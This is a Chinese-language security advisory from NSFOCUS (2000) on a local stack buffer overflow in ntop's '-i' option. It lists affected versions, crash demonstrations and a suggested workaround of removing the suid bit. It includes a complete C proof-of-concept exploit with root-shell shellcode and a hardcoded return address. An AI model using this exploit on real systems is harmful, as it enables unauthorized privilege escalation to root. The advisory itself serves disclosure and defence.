安全研究

安全漏洞
ntop -i 参数本地缓冲区溢出漏洞

发布日期:2000-10-26
更新日期:2000-10-26

受影响系统:

  ntop 1.1
  ntop 1.2.a7
  ntop 1.3.1
  ntop 1.3.2
     - Redhat Linux 6.2
描述:

ntop是一个用来监视和分析unix系统网络使用状况的工具,它的"-i"选项如果
收到一个超长的字符串,将导致ntop发生堆栈溢出。如果ntop被设置了setuid
root属性,本地用户可能获取root权限。


<* 来源: Christophe BAILLEUX (cb@grolier.fr) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


下面是对不同版本的ntop的测试结果:

a) ntop 1.1

tshaw:/home/cb/ntop-1.1/$ ./ntop -i `perl -e 'print "A"x208'`
ntop v.1.1 MT [i686-pc-linux-gnu] listening on
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Host      Act   -Rcvd-      Sent       TCP     UDP  ICMP
Segmentation fault

b) ntop 1.2a7

tshaw:/home/cb/ntop-1.2a7$ ./ntop -i `perl -e 'print "A"x109'`
Segmentation fault

c) ntop 1.3.1
tshaw:/home/cb/ntop-1.3.1$ ./ntop -i `perl -e 'print "A"x271'`
Segmentation fault

d) ntop 1.3.2

tshaw:/home/cb/ntop-1.3.2$ ./ntop -i `perl -e 'print "A"x2835'`

24/Oct/2000:12:32:16 ntop v.1.3.2 MT [i686-pc-linux-gnu] (08/11/00
07:04:32 PM build)
24/Oct/2000:12:32:16 Listening on
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
24/Oct/2000:12:32:16 Copyright 1998-2000 by Luca Deri <deri@ntop.org>
24/Oct/2000:12:32:16 Get the freshest ntop from http://www.ntop.org/
24/Oct/2000:12:32:16 Initialising...
Segmentation fault

Christophe BAILLEUX也提供了一个测试程序:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define LEN 208

int main (int argc, char **argv)
{
  char buf[LEN + 12];
  int  ret = 0xbffffba0;
  int  *p;

  char code[]=
      "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
      "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc > 1) {
    ret += atoi(argv[1]);
    fprintf(stderr, "Using ret %#010x\n", ret);
  }

  memset(buf, '\x90', LEN);
  memcpy(buf + LEN - strlen(code), code, strlen(code));

  p = (int *) (buf + LEN);

  *p++ = ret;
  *p++ = ret;
  *p   = 0;

execl("./ntop", "ntop", "-i", buf, NULL);

}



建议:

临时解决方法:

NSFOCUS建议您暂时去掉ntop的suid位:
chmod ug-s path/to/ntop

厂商补丁:

ntop开发小组已经得知此问题。


浏览次数:5658
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障